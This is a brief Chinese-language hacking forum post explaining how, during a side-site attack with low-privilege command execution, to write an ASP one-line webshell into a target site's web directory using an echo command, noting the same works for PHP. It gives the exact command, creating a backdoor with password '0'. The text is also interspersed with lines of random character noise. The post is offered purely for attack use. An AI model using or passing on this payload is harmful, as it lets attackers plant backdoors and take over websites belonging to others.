旁注cmd低权限下拿webshell

admin

在旁注过程中，可以执行cmd而权限又比较低的情况下，有时候可以用这个方法帮你拿下目标站。

+ e% G: M1 H- h  m* d' j$ r+ Q. S命令格式
0 V4 L1 W' p( |4 E! K9 H2 }
Echo 语句 >目标站绝对目录
+ r8 F7 `1 o; j$ |& W
例如：
6 P6 F) i5 T" `9 B! k- }
echo ^<^%execute request("0")%^> >D:\03389.com\wwwroot\YingMu.asp
' u' ?- h/ |( |
; U4 }8 @$ Q, n/ r* B. Z3 c; W这样访问目标站的目录下就会生成一个密码为0的asp的一句话，此方法在PHP等脚本语言均适用，大家灵活发挥。